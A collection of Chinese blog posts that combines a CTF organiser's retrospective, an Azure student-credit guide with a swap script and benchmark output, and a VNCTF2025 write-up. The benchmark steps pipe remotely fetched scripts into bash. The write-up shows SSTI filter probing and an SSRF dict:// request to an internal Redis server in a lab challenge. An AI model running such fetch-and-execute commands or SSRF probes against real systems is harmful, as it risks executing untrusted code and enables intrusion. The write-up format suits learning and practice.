我寻思我也没有 import pickle 啊 🤔

当然,在多方面的提示下,有一个队伍出了 PRTS 2

有人能对上电波我还是很开心的,不仅这题,黑塔终端 3 也有人对上电波了

可能是一张图两用太难想了?还有就是估计很多队伍第一问看到 SECRET 没当回事

Data Analysis 那个题目,我题目的要求是对内容进行 md5 计算,不过我当时是把文件丢进赛博厨子计算的,然后可能是不同系统对剪贴板的处理不一样,有人用 macOS 在数据正确的前提下出了错误的答案

看来下次还是不能省掉检验用的那个网页 =-=

第三批

第三批是难度比较高的,我的题目有这些

  • [expert*2] [master] Play CS with Me
  • [normal] Data from Log

因为劳动节补课,周日要上课,原定周日早上十点放题目的,放到了周六晚上七点放了

这里首先要给参赛选手道歉的是,我在题目 Data from Log 的附件里面给的 README.md 写的跟题目详情页面不一样,在这里向各位道个歉 orz

Data from Log 涉及到了从阿帕奇的日志中恢复数据,这题是从羊城杯偷的,所以数据上没什么好说的

不过让我欣喜的是 Play CS with Me 没有爆零,第一题有人在提示下出了

这个搜索能力挺不错的,在这里表扬一下 (๑•̀ㅂ•́)و✧

当然也少不了跳我挖好的坑

说实话,我也想改这个 evil.exe 为其他更具有迷惑力的名字,但是不管我怎么保存那个代表 beacon 的 hta 文件,这里都不会变,可能是 hta 类型文件最后在这里显示固定为 evil.exe 吧,这点我确实不太清楚

接着这个队伍又继续攻克第二问,但是但是,他们找的教程实在是……戛然而止

他们找的是这一篇:https://www.freebuf.com/articles/system/327060.html

然后我还是提醒了一嘴

他们应该是搜到后续了,快出了——确实出了,最后一分钟

好极限,恭喜这个队伍用 Play CS with Me 1 和 2 超过了原来的第一

收 Writeup

比赛完了以后最爽的应该是看各个队伍的 wp 了,看看他们有没有按照我们预定的思路去做题,其实大部分都是按照我的想法来的,不过也有一些跟我用的工具不太一样

例如说 base 那个题目,有一队就用的不是 basecrack 而是用的随波逐流,也是让我第一次知道随波逐流还有这功能了

总结

所以以上就是本次出题的经历啦,后面应该还会出更多的题目的٩(๑^o^๑)۶

下次再有出题的话再写这样的记录吧

题目源码

🔲 ⭐

使用教育邮箱注册AZ100(Azure 100$ 教育优惠)

自从拿到教育邮箱,我就在想怎么样才能够用尽其用,拿到更多的教育优惠资源,然后今天我就盘了盘Azure,据说Azure对学生有每年100$的免费额度,这我不得赶紧下个手

注册教育用户

首先,你得先去Azure登录一个微软账号(可以是个人的)

Azure Portal: https://portal.azure.com/

登陆以后会进入Azure的主页,我们不需要在这个页面操作,先把它关掉,只需要有登录态就可以了

接着我们打开AZ100的注册页面

AZ100: https://signup.azure.com/studentverification?offerType=1&srcurl=https%3A%2F%2Fazure.microsoft.com%2Ffree%2Fstudents&correlationId=bbc11038-628a-4b5a-abf5-e141999f96d9

在这个页面中,填写自己的个人信息,注意有些信息的真实性(例如你明明用的是@*.edu.cn你的国家还选其他的那肯定不对)

填好了以后提交(验证码留空就行,除非你有),然后打开你的教育邮箱,会收到一封来自微(巨)软(硬)的邮件(查不到的话看看垃圾邮件列表)

直接点击链接打开,会进入验证页面

这个页面可能会弹一个验证码(我这边是弹了),过了验证码点Verify就进入下一步了,这个时候会转个圈圈,微软在验证你的学生资格

转个大概半分钟就可以了,页面会弹出Congratulation的提示

这个时候就可以使用教育优惠了

[踩坑] 弹了Congratulation后仍然无法使用教育优惠

不知道巨硬怎么回事,反正就是订阅没有生效,我翻了翻求助帖,看到有这么个解决方式

我们再回到学生优惠的注册页面,不过是下面这个

Azure for Students: https://azure.microsoft.com/en-us/free/students?wt.mc_id=studentamb_203301

点击Start free,此时因为我们登录态还在,所以会进入验证环节,这里会弹出下图这样的页面

根据自己的需要勾选,然后点击注册就好了

使用教育优惠

我们访问Azure的教育页面(需要使用带有教育资格的Azure账户访问,否则提示无权)

Azure Education: https://portal.azure.com/#view/Microsoft_Azure_Education/EducationMenuBlade/~/overview

这里会显示你剩下的免费额度和到期天数(注:到期后还可以用教育邮箱续期)

点击右边免费服务的浏览所有按钮,就可以看到能够使用的所有教育优惠,我个人觉得最主要的还是虚拟机,下面也是我创建虚拟机的过程

创建Linux虚拟机

Azure free account includes:

  • 750 hours of Standard B1, B2ATS, and B2PTS Linux Virtual Machine
  • 750 hours of Standard B1, B2ATS Windows Virtual Machine
  • 2 P6 (64GiB) managed disks

你可以通过免费服务那个页面来开始创建Linux虚拟机,也可以通过下面这个链接快速来到创建的页面

Create Linux VM: https://portal.azure.com/#create/microsoft.freeaccountvirtualmachine-linux

在这个页面创建虚拟机直接按照自己需求选就行了,我弄的时候只有B1s,B2ats_v2没货,不过都能用

这里的区域需要说明的是,我这里选择的是East Asia,其实是指的就是香港地区的服务器,在这个页面新建虚拟机不用担心硬盘费用的问题,因为它会自动选择P6磁盘的

创建以后直接SSH连接就行了,我个人也不是拿这个来弄梯子的,所以也不担心被墙的问题

调整swap分区

因为刚刚创建的虚拟机默认是没有给你分swap分区的,但是这个机子的RAM太低了,所以得设置一下swap分区

我是用下面这个脚本设置的swap分区,直接copy去用就行,记得加sudo

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
#!/bin/bash

GREEN='\033[0;32m'
YELLOW='\033[1;33m'
NC='\033[0m' # No Color

# Check if the script is run with sudo
if [[ $EUID -ne 0 ]]; then
echo "This script must be run as root (using sudo)."
exit 1
fi

SWAP_FILE="/swapfile"

create_swap() {
read -p "Enter the desired size of the swap file in MB: " SWAP_SIZE_MB

echo "Creating a swap file of ${SWAP_SIZE_MB}MB. This may take a while..."
fallocate -l ${SWAP_SIZE_MB}M ${SWAP_FILE}
if [ $? -ne 0 ]; then
echo "Error creating swap file. Ensure you have enough free disk space and fallocate is installed."
return 1
fi

chmod 600 ${SWAP_FILE}
mkswap ${SWAP_FILE}
if [ $? -ne 0 ]; then
echo "Error setting up swap area."
rm -f ${SWAP_FILE}
return 1
fi

swapon ${SWAP_FILE}
if [ $? -ne 0 ]; then
echo "Error enabling swap."
rm -f ${SWAP_FILE}
return 1
fi

# Add to /etc/fstab to make it permanent
echo "${SWAP_FILE} swap swap defaults 0 0" | sudo tee -a /etc/fstab > /dev/null
echo "Swap file created and enabled successfully."
}

adjust_swap() {
if ! swapon --show | grep -q "${SWAP_FILE}"; then
echo "No swap file (${SWAP_FILE}) is currently active to adjust. Please create one first or check if SWAP_FILE variable is correctly set."
return 1
fi

swapoff ${SWAP_FILE}
if [ $? -ne 0 ]; then
echo "Error disabling swap."
return 1
fi

read -p "Enter the new desired size of the swap file in MB: " NEW_SWAP_SIZE_MB

echo "Resizing swap file to ${NEW_SWAP_SIZE_MB}MB. This may take a while..."
rm -f ${SWAP_FILE} # Remove the old swap file
fallocate -l ${NEW_SWAP_SIZE_MB}M ${SWAP_FILE}
if [ $? -ne 0 ]; then
echo "Error creating new swap file."
return 1
fi
chmod 600 ${SWAP_FILE}
mkswap ${SWAP_FILE}
if [ $? -ne 0 ]; then
echo "Error setting up new swap area."
rm -f ${SWAP_FILE}
return 1
fi
swapon ${SWAP_FILE}
if [ $? -ne 0 ]; then
echo "Error enabling new swap."
rm -f ${SWAP_FILE}
return 1
fi

echo "Swap file resized and enabled successfully."
}

delete_swap() {
if ! swapon --show | grep -q "${SWAP_FILE}"; then
echo "No swap file (${SWAP_FILE}) is currently active to delete. Please create one first or check if SWAP_FILE variable is correctly set."
return 1
fi

swapoff ${SWAP_FILE}
if [ $? -ne 0 ]; then
echo "Error disabling swap."
return 1
fi

# Remove from /etc/fstab
sudo sed -i "/${SWAP_FILE} swap swap/d" /etc/fstab
rm -f ${SWAP_FILE}
echo "Swap file deleted successfully."
}

show_menu() {
echo -e "${GREEN}"
cat << "EOF"
>>==============================================<<
|| ||
|| _ ||
|| _____ ____ _ _ __ ___| |__ ||
|| / __\ \ /\ / / _` | '_ \ / __| '_ \ ||
|| \__ \\ V V / (_| | |_) |\__ \ | | | ||
|| |___/ \_/\_/ \__,_| .__(_)___/_| |_| ||
|| |_| ||
|| ||
|| -- GamerNoTitle ||
|| https://bili33.top ||
>>==============================================<<
EOF
echo -e "${NC}"

echo -e "${YELLOW}Swap Management Script${NC}"
echo -e "${YELLOW}-----------------------${NC}"
echo -e "${YELLOW}1. Create Swap File${NC}"
echo -e "${YELLOW}2. Adjust Swap File Size${NC}"
echo -e "${YELLOW}3. Delete Swap File${NC}"
echo -e "${YELLOW}4. Exit${NC}"
echo -e "${YELLOW}-----------------------${NC}"

echo -ne "${YELLOW}Enter your choice (1-4): ${NC}"
}

while true; do
show_menu
read choice
case $choice in
1)
create_swap
;;
2)
adjust_swap
;;
3)
delete_swap
;;
4)
echo "Exiting."
exit 0
;;
*)
echo "Invalid choice. Please enter a number between 1 and 4."
;;
esac
echo ""
done

性能测试结果

性能测试脚本:curl -sL yabs.sh | bash

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
Basic System Information:
---------------------------------
Uptime : 0 days, 1 hours, 3 minutes
Processor : Intel(R) Xeon(R) Platinum 8171M CPU @ 2.60GHz
CPU cores : 1 @ 2095.079 MHz
AES-NI : ✔ Enabled
VM-x/AMD-V : ❌ Disabled
RAM : 892.9 MiB
Swap : 4.0 GiB
Disk : 65.8 GiB
Distro : Ubuntu 22.04.5 LTS
Kernel : 6.8.0-1021-azure
VM Type : MICROSOFT
IPv4/IPv6 : ✔ Online / ❌ Offline

IPv4 Network Information:
---------------------------------
ISP : Microsoft Corporation
ASN : AS8075 Microsoft Corporation
Host : Microsoft Azure Cloud (eastasia)
Location : Hong Kong, Central and Western District (HCW)
Country : Hong Kong

fio Disk Speed Tests (Mixed R/W 50/50) (Partition /dev/root):
---------------------------------
Block Size | 4k (IOPS) | 64k (IOPS)
------ | --- ---- | ---- ----
Read | 2.45 MB/s (614) | 27.34 MB/s (427)
Write | 2.47 MB/s (618) | 27.75 MB/s (433)
Total | 4.92 MB/s (1.2k) | 55.10 MB/s (860)
| |
Block Size | 512k (IOPS) | 1m (IOPS)
------ | --- ---- | ---- ----
Read | 26.62 MB/s (51) | 26.14 MB/s (25)
Write | 28.57 MB/s (55) | 29.04 MB/s (28)
Total | 55.19 MB/s (106) | 55.18 MB/s (53)

iperf3 Network Speed Tests (IPv4):
---------------------------------
Provider | Location (Link) | Send Speed | Recv Speed | Ping
----- | ----- | ---- | ---- | ----
Clouvider | London, UK (10G) | 792 Mbits/sec | 1.06 Gbits/sec | 187 ms
Eranium | Amsterdam, NL (100G) | 809 Mbits/sec | 1.24 Gbits/sec | 203 ms
Uztelecom | Tashkent, UZ (10G) | 623 Mbits/sec | 847 Mbits/sec | 263 ms
Leaseweb | Singapore, SG (10G) | 863 Mbits/sec | 5.34 Gbits/sec | 36.1 ms
Clouvider | Los Angeles, CA, US (10G) | 829 Mbits/sec | 1.16 Gbits/sec | 154 ms
Leaseweb | NYC, NY, US (10G) | 756 Mbits/sec | 1.08 Gbits/sec | 225 ms
Edgoo | Sao Paulo, BR (1G) | 469 Mbits/sec | 688 Mbits/sec | 306 ms

Geekbench 6 Benchmark Test:
---------------------------------
Test | Value
|
Single Core | 572
Multi Core | 315
Full Test | https://browser.geekbench.com/v6/cpu/10660333

YABS completed in 42 min 58 sec

网络IO测试结果

测试脚本:wget -qO- bench.sh | bash

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
-------------------- A Bench.sh Script By Teddysun -------------------
Version : v2024-11-11
Usage : wget -qO- bench.sh | bash
----------------------------------------------------------------------
CPU Model : Intel(R) Xeon(R) Platinum 8171M CPU @ 2.60GHz
CPU Cores : 1 @ 2095.079 MHz
CPU Cache : 36608 KB
AES-NI : ✓ Enabled
VM-x/AMD-V : ✗ Disabled
Total Disk : 69.8 GB (8.2 GB Used)
Total Mem : 892.9 MB (196.3 MB Used)
Total Swap : 4.0 GB (74.5 MB Used)
System uptime : 0 days, 23 hour 54 min
Load average : 0.00, 0.00, 0.00
OS : Ubuntu 22.04.5 LTS
Arch : x86_64 (64 Bit)
Kernel : 6.8.0-1021-azure
TCP CC : cubic
Virtualization : Dedicated
IPv4/IPv6 : ✓ Online / ✗ Offline
Organization : AS8075 Microsoft Corporation
Location : Hong Kong / HK
Region : Hong Kong
----------------------------------------------------------------------
I/O Speed(1st run) : 56.7 MB/s
I/O Speed(2nd run) : 56.0 MB/s
I/O Speed(3rd run) : 56.2 MB/s
I/O Speed(average) : 56.3 MB/s
----------------------------------------------------------------------
Node Name Upload Speed Download Speed Latency
Speedtest.net 184.06 Mbps 7849.74 Mbps 2.59 ms
Paris, FR 594.87 Mbps 5925.80 Mbps 179.03 ms
Amsterdam, NL 361.25 Mbps 3164.91 Mbps 201.52 ms
Shanghai, CN 927.35 Mbps 5390.46 Mbps 96.52 ms
Hong Kong, CN 953.24 Mbps 8126.24 Mbps 3.42 ms
Singapore, SG 812.82 Mbps 4375.76 Mbps 31.41 ms
Tokyo, JP 960.93 Mbps 6922.47 Mbps 51.67 ms
----------------------------------------------------------------------
Finished in : 4 min 19 sec
Timestamp : 2025-02-22 07:06:04 UTC
----------------------------------------------------------------------

路由测试

去程路由绕行SG

回程路由部分绕行SG

上海电信 (101.95.120.109)

路径:
香港(hkg20 → hkg31) → 新加坡(sg2) → 中国电信骨干网(202.97.93.145,上海/广州) → 上海

  • 第7跳:香港微软网络节点(hkg20)
  • 第13跳:中国电信骨干网上海/广州节点(202.97.93.145)
  • 第17跳:上海电信目标IP(101.95.120.109)

厦门电信CN2 (117.28.254.129)

路径:
香港(hkg30 → hkg15) → 中国电信CN2骨干网(59.43.248.197,广州) → 厦门

  • 第7跳:香港微软网络节点(hkg30)
  • 第10跳:中国电信CN2广州节点(59.43.248.197)
  • 第18跳:厦门电信CN2目标IP(117.28.254.129)

北京联通 (123.125.81.6)

路径:
香港(hkg31) → 新加坡(sg2 → sin30) → 中国联通骨干网(219.158.38.213,广州) → 北京

  • 第11跳:中国联通广州国际出口(219.158.38.213)
  • 第14跳:中国联通北京节点(219.158.24.125)
  • 第22跳:北京联通目标IP(123.125.81.6)

北京移动 (221.130.33.52)

路径:
香港(hkg31) → 新加坡(sg2 → sin30) → 中国移动骨干网(223.119.81.113,广州) → 北京

  • 第11跳:中国移动广州国际出口(223.119.81.113)
  • 第19跳:中国移动北京节点(221.179.155.234)
  • 第20跳:北京移动目标IP(221.130.33.52)

成都教育网 (202.112.14.151)

路径:
香港(hkg20 → hkb) → 中国教育网骨干网(101.4.114.221,北京) → 成都

  • 第13跳:教育网北京核心节点(101.4.114.221)
  • 第19跳:教育网成都中转节点(101.4.112.194)
  • 第24跳:成都教育网目标IP(202.112.14.151)

使用Windows虚拟机

创建方法跟Linux的没什么区别,唯二区别是系统和账户

Create Windows VM: https://portal.azure.com/#create/microsoft.freeaccountvirtualmachine-windows

需要注意的是,如果你想有原生的Windows桌面体验,你就需要选择不带Core标识的版本

此外,因为这个服务器的低内存体验(就1G还能咋样),Windows服务器用起来特别憋屈,很卡,我就不过多评测了

其他厂商教育优惠

🔲 ☆

VNCTF2025 个人Writeup(垂死挣扎记录)

[Reverse] Hook Fish

钓到的鱼怎么跑了?

下载下来一个apk文件,丢进jadx查看AndroidManifest.xml看到第一个Activity是com.example.hihitt.MainActivity

找到Activity看到里面有一些函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
    public void loadClass(String input0) {
String input1 = encode(input0);
File dexFile = new File(getExternalFilesDir(Environment.DIRECTORY_DOWNLOADS), "hook_fish.dex");
DexClassLoader dLoader = new DexClassLoader(Uri.fromFile(dexFile).toString(), null, null, ClassLoader.getSystemClassLoader().getParent());
try {
Class<?> loadedClass = dLoader.loadClass("fish.hook_fish");
Object obj = loadedClass.newInstance();
Method m = loadedClass.getMethod("check", String.class);
boolean check = ((Boolean) m.invoke(obj, input1)).booleanValue();
if (check) {
Toast.makeText(this, "恭喜,鱼上钩了!", 0).show();
}
} catch (Exception e) {
e.printStackTrace();
}
}

public String decode(String boy) {
try {
File dexFile = new File(getExternalFilesDir(Environment.DIRECTORY_DOWNLOADS), "hook_fish.dex");
DexClassLoader dLoader = new DexClassLoader(dexFile.getAbsolutePath(), getCacheDir().getAbsolutePath(), null, getClassLoader());
Class<?> loadedClass = dLoader.loadClass("fish.hook_fish");
Object obj = loadedClass.newInstance();
Method decodeMethod = loadedClass.getMethod("decode", String.class);
return (String) decodeMethod.invoke(obj, boy);
} catch (Exception e) {
e.printStackTrace();
return "Error";
}
}

public String encode(String girl) {
try {
File dexFile = new File(getExternalFilesDir(Environment.DIRECTORY_DOWNLOADS), "hook_fish.dex");
DexClassLoader dLoader = new DexClassLoader(dexFile.getAbsolutePath(), getCacheDir().getAbsolutePath(), null, getClassLoader());
Class<?> loadedClass = dLoader.loadClass("fish.hook_fish");
Object obj = loadedClass.newInstance();
Method encodeMethod = loadedClass.getMethod("encode", String.class);
return (String) encodeMethod.invoke(obj, girl);
} catch (Exception e) {
e.printStackTrace();
return "Error";
}
}
}

去抓包,发现从http://47.121.211.23/hook_fish.dex下载了文件,本来想在系统里面截胡的但是没截到,直接访问下载了文件

用Ghidra打开,发现内部逻辑是一个自定义的字符编码方式(我叫做ji字符编码),然后可以拿到里面ji编码后的密文

1
jjjliijijjjjjijiiiiijijiijjiijijjjiiiiijjjjliiijijjjjljjiilijijiiiiiljiijjiiliiiiiiiiiiiljiijijiliiiijjijijjijijijijiilijiijiiiiiijiljijiilijijiiiijjljjjljiliiijjjijiiiljijjijiiiiiiijjliiiljjijiiiliiiiiiljjiijiijiijijijjiijjiijjjijjjljiliiijijiiiijjliijiijiiliiliiiiiiljiijjiiliiijjjliiijjljjiijiiiijiijjiijijjjiiliiliiijiijijijiijijiiijjjiijjijiiiljiijiijilji

解码过后是0qksrtuw0x74r2n3s2x3ooi4ps54r173k2os12r32pmqnu73r1h432n301twnq43prruo2h5,并没有什么意义,再去看看有没有漏掉的东西,在MainActivity里面还有这样的编码过程(注释是我加的)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
public static String encrypt(String str) {
byte[] str1 = str.getBytes(); // 把字符串变成bytes
for (int i = 0; i < str1.length; i++) {
str1[i] = (byte) (str1[i] + 68); // 变成bytes之前每个字符ASCII加了68
}
StringBuilder hexStringBuilder = new StringBuilder();
for (byte b : str1) {
hexStringBuilder.append(String.format("%02x", Byte.valueOf(b))); // 把传入的str1变成hex
}
String str2 = hexStringBuilder.toString(); // 把hex变成字符串
char[] str3 = str2.toCharArray(); // 把String转换为char[]数组
code(str3, 0); // 进行自定义编码
for (int i2 = 0; i2 < str3.length; i2++) {
if (str3[i2] >= 'a' && str3[i2] <= 'f') { // 如果为 a ~ f
str3[i2] = (char) ((str3[i2] - '1') + (i2 % 4)); // 字符与 '1' 相减,再加上 i2 % 4,i2是循环变量
} else {
str3[i2] = (char) (str3[i2] + '7' + (i2 % 10)); // 字符与 '7' 相加,再加上 i2 % 10,i2还是循环变量
}
}
Log.d("encrypt: ", new String(str3));
return new String(str3);
}

private static void code(char[] a, int index) {
if (index >= a.length - 1) {
return;
}
a[index] = (char) (a[index] ^ a[index + 1]); // 前后异或,设三个数字为a, b, c,此时 a 变成了 c(a ^ b = c)
a[index + 1] = (char) (a[index] ^ a[index + 1]); // b ^ c = a,此时第二个字符为 a
a[index] = (char) (a[index] ^ a[index + 1]); // c ^ a = b,此时达到了第一个字符和第二个字符对调的效果
code(a, index + 2); // 前进两位,下一组
}

于是组合起来,写个JIO本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
class HookFish:
def __init__(self):
self.fish_ecode = {}
self.fish_dcode = {}
self.encode_map()

def encode_map(self):
encode_dict = {
'a': "iiijj", 'b': "jjjii", 'c': "jijij", 'd': "jjijj", 'e': "jjjjj",
'f': "ijjjj", 'g': "jjjji", 'h': "iijii", 'i': "ijiji", 'j': "iiiji",
'k': "jjjij", 'l': "jijji", 'm': "ijiij", 'n': "iijji", 'o': "ijjij",
'p': "jiiji", 'q': "ijijj", 'r': "jijii", 's': "iiiii", 't': "jjiij",
'u': "ijjji", 'v': "jiiij", 'w': "iiiij", 'x': "iijij", 'y': "jjiji",
'z': "jijjj", '1': "iijjl", '2': "iiilj", '3': "iliii", '4': "jiili",
'5': "jilji", '6': "iliji", '7': "jjjlj", '8': "ijljj", '9': "iljji",
'0': "jjjli"
}
for char, code in encode_dict.items():
self.fish_ecode[char] = code
self.fish_dcode[code] = char

def decode(self, p1):
decoded_str = []
for i in range(0, len(p1), 5):
encoded_char = p1[i:i+5]
decoded_str.append(self.fish_dcode.get(encoded_char, '?'))
return ''.join(decoded_str)

def decrypt(encrypted_str):
def reverse_step4(chars):
reversed_chars = []
for i, c in enumerate(chars):
current_ord = ord(c)
# 逆向处理 a-f 的情况
original_ord_case1 = (current_ord - (i % 4)) + ord('1')
if 97 <= original_ord_case1 <= 102:
reversed_chars.append(chr(original_ord_case1))
continue
# 逆向处理其他字符
original_ord_case2 = current_ord - ord('7') - (i % 10)
if 48 <= original_ord_case2 <= 57 or 97 <= original_ord_case2 <= 102:
reversed_chars.append(chr(original_ord_case2))
else:
reversed_chars.append('?') # 无效占位符
return reversed_chars

# 逆向第四步变换
step3_chars = reverse_step4(list(encrypted_str))

# 逆向 code 函数(交换相邻字符)
for i in range(0, len(step3_chars)-1, 2):
step3_chars[i], step3_chars[i+1] = step3_chars[i+1], step3_chars[i]

# 转换十六进制字符串为字节
try:
hex_str = ''.join(step3_chars)
encrypted_bytes = bytes.fromhex(hex_str)
except ValueError:
return "Invalid Hex"

# 逆向字节偏移
original_bytes = bytes([(b - 68) % 256 for b in encrypted_bytes])
return original_bytes.decode('utf-8', errors='replace')

# 使用示例
hook_fish = HookFish()
encoded_string = "jjjliijijjjjjijiiiiijijiijjiijijjjiiiiijjjjliiijijjjjljjiilijijiiiiiljiijjiiliiiiiiiiiiiljiijijiliiiijjijijjijijijijiilijiijiiiiiijiljijiilijijiiiijjljjjljiliiijjjijiiiljijjijiiiiiiijjliiiljjijiiiliiiiiiljjiijiijiijijijjiijjiijjjijjjljiliiijijiiiijjliijiijiiliiliiiiiiljiijjiiliiijjjliiijjljjiijiiiijiijjiijijjjiiliiliiijiijijijiijijiiijjjiijjijiiiljiijiijilji"

raw_encrypted = hook_fish.decode(encoded_string)
print("Encrypted String:", raw_encrypted)

decrypted_flag = decrypt(raw_encrypted)
print("Decrypted Flag:", decrypted_flag)

最终得到flag为VNCTF{u_re4l1y_kn0w_H0Ok_my_f1Sh!1l}

[MISC] VN_Lang

我真是受够了往misc里塞异形文字了,所以我决定自创VN文字,你能读懂吗?

本题所给的附件中,main.rs为源代码,请下载exe文件进行解题,flag在exe中。

直接把exe丢进IDA,然后Shift + F12,查看字符串,发现flag

flag为VNCTF{ucxaOK2UO8rEXjuUXbwa5sBoZKxBxb6qhQ3HVoy30rzq5}

[Web] 学生姓名登记系统(未出)

Infernity师傅用某个单文件框架给他的老师写了一个“学生姓名登记系统”,并且对用户的输入做了严格的限制,他自认为他的系统无懈可击,但是真的无懈可击吗?

确实并非无懈可击,但是我是没办法打

上来就说输入学生名字,输入完点击提交发现会显示刚刚输入的学生名字,猜测可能存在SSTI,测试了一下果不其然

输入输出

然后我测试了一下,虽然可以分行提交,但是一旦存在某些关键词,则不会被当做模板运行,例如输入{%print(123)%},会直接原样返回

这些关键词包括但不限于:%lipsum,有些组合也不能够被正确识别,例如{{request.args.a}}{{request.cookies.c}}这样的

此外,还有长度限制,经过测试,当单行输入长度>=24的时候,就会阻止,表现为弹出“谁家好人名字这么长??”的提示

因为我实在是没找到方法来规避这个长度限制,所以只能作罢

[Web] 奶龙回家(未出)

小朋友们你们好呀,我是奶龙,请帮我找到username和password,获得胖猫留下的flag吧 //容易炸链接,可以多试几次

我才是奶龙.jpg

给了登录框,可以输入用户名和密码,一开始就想到了爆破

然后我已经爆破了快两个小时,结果发了提示:本题考点是注入攻击,无需进行字典爆破操作

行吧,我后面再来看你(然后就忘了 =-=)

[Reverse] 抽奖转盘(未出)

主播主播,你的安卓逆向太吃操作了,有没有更简单容易上手的逆向题目哇?有的兄弟有的。

真的上手吗(害怕

附件的格式.hap就告诉我们一切了,这题是鸿蒙的软件逆向,我在网上找不到什么资料,找到了一个工具abc-decompiler

https://github.com/ohos-decompiler/abc-decompiler

把hap文件解压以后,将里面的.abc文件丢进去就可以反编译了……但这是啥啊!

好吧,现在的反编译工具确实不太成熟,怪不得人家。我手上也没有鸿蒙设备,也没有模拟器,真的在打黑盒一样

后面找到了模拟器,要求电脑开HyperV,我丢在了虚拟机上运行(但一直在转圈),考虑到我写这行字的时候已经是1:09了,我还是去睡觉吧,明天有N1CTF呢

模拟器:https://www.coolapk.com/feed/57785796?shareKey=ZTFmZTBiNTJiN2Y5NjcxOTBlZjQ~&shareUid=0

[MISC] Ekko(未出)

Ekko似乎找不到完美的时间线了。。。

题目地址:156.238.233.119:10001

faucet:156.238.233.119:10000

rpc:156.238.233.119:8545

一看就是以太坊智能合约的题目,但我没接触过,于是我去学了一下以太坊的合约

nc题目地址能够创建一个钱包,要求向指定地址转账0.001测试币才能下一步

1
2
3
4
5
6
7
8
9
10
11
12
PS C:\Users\GamerNoTitle> nc 156.238.233.119 10001
Help Ekko find the best timeline.馃槑馃槑馃槑
Trigger the isSolved() function to obtain the flag.

[1] - Create an account which will be used to deploy the challenge contract
[2] - Deploy the challenge contract using your generated account
[3] - Get your flag once you meet the requirement
[4] - Show the contract source code
[-] input your choice: 1
[+] deployer account: 0x6117596A833B37eEC24D83F2b9C741513542a1c1
[+] token: v4.local.EYCF2NyWEjGP50HEnmDWq2sKlUNk7st51_QohF4zNKsWniY5F8zi3PzskjBmZFTwMdyQ8fOtKqzGUmLrrer5PMh9fFSf7iLlKgQmKOSa_pHvrj4lua2lTKPaZfkgG-b_Z7g5ac85Jkm9kpcxTfexOC2CVAOH_10xzOL2g3hOgRvu5A.RWtrb1RpbWVSZXdpbmQ
[+] please transfer more than 0.001 test ether to the deployer account for next step

首先第一步是要去水龙头接水(拿测试币),访问题目给的faucet地址,把钱包地址填进去就可以接到1ETH测试币了

接着要向别人转账,再次nc选择2,把token给它就可以部署合约了

1
2
3
4
5
6
7
8
9
10
11
12
PS C:\Users\GamerNoTitle> nc 156.238.233.119 10001
Help Ekko find the best timeline.馃槑馃槑馃槑
Trigger the isSolved() function to obtain the flag.

[1] - Create an account which will be used to deploy the challenge contract
[2] - Deploy the challenge contract using your generated account
[3] - Get your flag once you meet the requirement
[4] - Show the contract source code
[-] input your choice: 2
[-] input your token: v4.local.EYCF2NyWEjGP50HEnmDWq2sKlUNk7st51_QohF4zNKsWniY5F8zi3PzskjBmZFTwMdyQ8fOtKqzGUmLrrer5PMh9fFSf7iLlKgQmKOSa_pHvrj4lua2lTKPaZfkgG-b_Z7g5ac85Jkm9kpcxTfexOC2CVAOH_10xzOL2g3hOgRvu5A.RWtrb1RpbWVSZXdpbmQ
[+] contract address: 0xCDF40E3392f49Bc985B06A30269f75035C7001AE
[+] transaction hash: 0xded23a521c51c77838cc35e0c1019f1873e5db8ff6c8bf7bd3dd967c22a351c6

然后就是要完成合约,但是怎么完成?我不道啊!!

[MISC] aimind(未出)

基于大模型生成网站思维导图,不觉得很cool 吗

题目链接:http://39.100.72.235:8000/

本网站由gpt4o进行驱动,响应慢属于正常现象,靶场十分钟重启一次.

访问后告诉我们要输入url来生成思维导图

我一开始以为是基于网页中间件的提示词注入,所以我还写了这么一个文档

https://github.com/Luminoria/CTF/blob/main/VNCTF2025.html

改来改去它还是不告诉我,想想算了,先做别的,后面题目给了提示

  • 据说有个redis在内网
  • 172.18.0.3

那意思很明确了,访问172.18.0.3:6379这个Redis获取信息,我就想到之前CCSSSC那次做过的dict执行Redis命令

测试了一下dict://172.18.0.3:6379/INFO,确实可以获取信息

于是想着能不能弹shell,但是后来发现用之前的payload会出不来(不生成思维导图且F12网络选项卡里面500),只好作罢

还是对Redis不熟的问题 =-=

[MISC] Echo Flowers(已复现)

英语不好的114也想要学习区块链,于是通过自己编写的地址生成器生成了一个0x114514开头的地址助记词(默认路径m/44’/60’/0’/0/0),并将助记词导入首次搭载四曲柔边直屏,采用居中对称式的圆环镜头+金属质感小银边设计,并辅以拉丝工艺打造的金属质感中框,主打“超防水,超抗摔,超耐用”,号称“耐用战神”的OPPO A5 Pro上作为数字钱包。不幸的是,114忘记了这部手机上数字钱包的密码,同时丢失了助记词。你能帮助114找回他的数字钱包吗?

本题附件下载地址:百度网盘Google Drive

114使用的密码是强密码(在8-40字符之间,至少包含一个大写字母、一个小写字母、一个数字和一个特殊字符),因此暴力破解密码是不现实的

